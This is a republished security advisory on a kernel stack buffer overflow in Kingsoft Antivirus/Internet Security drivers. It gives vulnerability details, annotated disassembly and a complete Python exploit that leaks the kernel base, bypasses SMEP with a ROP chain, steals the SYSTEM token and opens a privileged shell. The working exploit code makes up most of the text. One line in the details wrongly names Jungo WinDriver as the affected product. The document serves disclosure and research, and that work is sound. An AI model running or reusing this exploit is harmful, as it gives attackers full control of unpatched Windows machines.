Kingsoft Antivirus/Internet Security 9+ Privilege Escalation Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Kingsoft Antivirus/Internet Security 9+ Privilege Escalation Exploit

来源：http://www.securiteam.com/ 作者：SecuriTeam 发布时间：2017-12-28

Vulnerability Summary

The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.

Kingsoft Antivirus “provides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus.”

Credit

An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability.

Vulnerability details

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver.

The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.

The driver doesn’t properly validate user-supplied data which can result in a kernel stack buffer overflow.

An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

; jumptable 000117C1 case 0

.text:000117C8 loc_117C8: ; CODE XREF: sub_11790+31

.text:000117C8

.text:000117C8 push ebx ; our input buffer size

.text:000117C9 lea ecx, [esp+58h+var_40] ; this is a fixed size stack buffer of 0x40

.text:000117CD push edi ; our input buffer

.text:000117CE push ecx ; char *

.text:000117CF call strncpy ; stack buffer overflow

.text:000117D4 add esp, 0Ch

.text:000117D7 lea edx, [esp+54h+var_40]

.text:000117DB push edx ; char *

.text:000117DC mov [esp+ebx+58h+var_40], 0

.text:000117E1 call sub_167B0

.text:000117E6 pop edi

.text:000117E7 mov esi, eax

.text:000117E9 pop esi

.text:000117EA pop ebp

.text:000117EB pop ebx

.text:000117EC add esp, 44h

.text:000117EF retn 8

Proof of Concept

import sys

from ctypes import *

from time import sleep

from ctypes.wintypes import *

import struct

import os

from random import choice

kernel32 = windll.kernel32

ntdll = windll.ntdll

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

STATUS_SUCCESS = 0

def get_ioctl():

return choice([0x80030004, 0x80030008])

def alloc_shellcode(base, input_size):

"""

allocates some shellcode

"""

print "(+) allocating shellcode @ 0x%x" % base

baseadd = c_int(base)

size = c_int(input_size)

# --[ setup]

input = struct.pack("<I", 0x000506f8) # bypass smep

# --[ setup]

input += "\x60" # pushad

input += "\x64\xa1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET]

# I have to do it like this because windows is a little special

# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.

input += "\x8d\x40\x70" # lea eax, [eax+0x70];

input += "\x8b\x40\x10" # mov eax, [eax+0x10];

input += "\x89\xc1" # mov ecx, eax (Current _EPROCESS structure)

# win 10 rs2 x86 TOKEN_OFFSET = 0xfc

# win 07 sp1 x86 TOKEN_OFFSET = 0xf8

input += "\x8B\x98\xfc\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]

# --[ copy system PID token]

input += "\xba\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)

input += "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] <-|

input += "\x2d\xb8\x00\x00\x00" # sub eax, FLINK_OFFSET |

input += "\x39\x90\xb4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx |

input += "\x75\xed" # jnz ->|

# win 10 rs2 x86 TOKEN_OFFSET = 0xfc

# win 07 sp1 x86 TOKEN_OFFSET = 0xf8

input += "\x8b\x90\xfc\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]

input += "\x89\x91\xfc\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx

# --[ recover]

input += "\x61" # popad

input += "\x83\xc4\x0c" # adjust the stack by 0xc

input += "\x31\xc0" # return NTSTATUS = STATUS_SUCCESS

input += "\xc3" # ret

# filler

input += "\x43" * (input_size-len(input))

ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,

POINTER(c_int), c_int, c_int]

dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,

byref(size),

MEM_RESERVE|MEM_COMMIT,

PAGE_EXECUTE_READWRITE)

if dwStatus != STATUS_SUCCESS:

print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)

return False

written = c_ulong()

write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))

if write == 0:

print "(-) Error while writing our input buffer memory: %s" % write

return False

return True

def alloc(base, input_size, ip):

baseadd = c_int(base)

size = c_int(input_size)

input = "\x44" * 0x40 # offset to ip

# start our rop chain

input += struct.pack("<I", nt + 0x51976f) # pop ecx; ret

input += struct.pack("<I", 0x75757575) # junk

input += struct.pack("<I", 0x76767676) # junk

input += struct.pack("<I", ip) # load 0x506f8

input += struct.pack("<I", nt + 0x04664f) # mov eax, [ecx]; ret

input += struct.pack("<I", nt + 0x22f2da) # mov cr4,eax; ret

input += struct.pack("<I", ip + 0x4) # &shellcode

# filler

input += "\x43" * (input_size-len(input))

ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,

POINTER(c_int), c_int, c_int]

dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,

byref(size),

MEM_RESERVE|MEM_COMMIT,

PAGE_EXECUTE_READWRITE)

if dwStatus != STATUS_SUCCESS:

print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)

sys.exit()

written = c_ulong()

write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))

if write == 0:

print "(-) error while writing our input buffer memory: %s" % write

sys.exit()

def we_can_trigger_overflow():

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

IOCTL_VULN = get_ioctl()

DEVICE_NAME = "\\\\.\\KWatch3"

dwReturn = c_ulong()

driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

ip = 0x24242424

inputbuffer = 0x41414141

inputbuffer_size = 0x60

outputbuffer_size = 0x1000

outputbuffer = 0x20000000

alloc(inputbuffer, inputbuffer_size, ip)

alloc_shellcode(ip, 0x100)

alloc(outputbuffer, 0x100, ip)

IoStatusBlock = c_ulong()

if driver_handle:

print "(+) sending stack overflow..."

dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,

None,

byref(IoStatusBlock),

IOCTL_VULN,

inputbuffer,

inputbuffer_size,

outputbuffer,

outputbuffer_size

)

return True

return False

def we_can_leak_the_base():

"""

Get kernel base address.

This function uses psapi!EnumDeviceDrivers which is only callable

from a non-restricted caller (medium integrity or higher). Also the

assumption is made that the kernel is the first array element returned.

"""

global nt

print "(+) enumerating kernel base address..."

array = c_ulonglong * 1024

lpImageBase = array()

szDriver = array()

cb = sizeof(lpImageBase)

lpcbNeeded = c_long()

res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),

sizeof(lpImageBase),

byref(lpcbNeeded))

if not res:

print "(-) unable to get kernel base: " + FormatError()

sys.exit(-1)

# nt is the first one

nt = lpImageBase[0] & 0x00000000ffffffff

return True

def main():

print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"

print "\t Steven Seeley (mr_me) of Source Incite\r\n"

if we_can_leak_the_base():

print "(+) found nt base at 0x%08x" % (nt)

if we_can_trigger_overflow():

os.system("cmd.exe")

else:

print "(-) it appears that kingsoft Internet Security is not installed!"

if __name__ == '__main__':

main()

[